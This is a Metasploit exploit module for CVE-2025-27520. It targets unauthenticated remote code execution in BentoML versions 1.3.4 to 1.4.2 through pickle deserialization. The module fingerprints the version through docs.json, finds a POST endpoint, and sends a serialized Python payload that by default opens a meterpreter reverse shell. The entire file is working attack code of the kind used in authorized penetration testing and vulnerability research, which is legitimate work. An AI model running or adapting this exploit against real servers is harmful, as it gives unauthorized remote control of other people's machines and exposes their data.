##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BentoML RCE',
        'Description' => %q{
          A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in v1.4.2 of BentoML.
          It allows any unauthenticated user to execute arbitrary code on the server.
        },
        'Author' => [
          'c2an1',            # Vulnerability discovery and PoC
          'Takahiro Yokoyama' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-27520'],
          ['URL', 'https://github.com/advisories/GHSA-33xw-247w-6hmc'],
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Arch' => ARCH_PYTHON,
              'Platform' => 'python',
              'Type' => :python,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-04-04',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('ENDPOINT', [ false, 'Endpoint to use', ''])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'docs.json')
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    version = res.get_json_document&.dig('info', 'description')&.[](/BentoML-([\d.]+)-informational/, 1)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

    version = Rex::Version.new(version)
    return Exploit::CheckCode::Unknown('Failed to get version.') unless version

    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.3.4'), Rex::Version.new('1.4.2'))

    @api_endpoint = find_api_endpoint
    return Exploit::CheckCode::Unknown('No vulnerable api endpoint.') unless @api_endpoint

    Exploit::CheckCode::Appears("Version #{version} detected, which is vulnerable.")
  end

  def find_api_endpoint
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'docs.json')
    })
    return unless res&.code == 200

    paths = res&.get_json_document&.dig('paths')
    paths&.keys&.detect { |path| paths[path].keys.include?('post') }
  end

  def exploit
    @api_endpoint = datastore['ENDPOINT'].blank? ? find_api_endpoint : datastore['ENDPOINT']
    fail_with(Failure::Unknown, 'No endpoint specified or no vulnerable api endpoint found.') unless @api_endpoint
    print_status("Use #{@api_endpoint} as api endpoint.")

    if target['Type'] == :python
      data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
    else
      data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")")
    end

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, @api_endpoint),
      'headers' => { 'Content-Type' => 'application/vnd.bentoml+pickle' },
      'data' => data
    })
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
    print_status('Expected error occurred.') if res.get_json_document&.dig('error') == '1 validation error for Input'
  end

end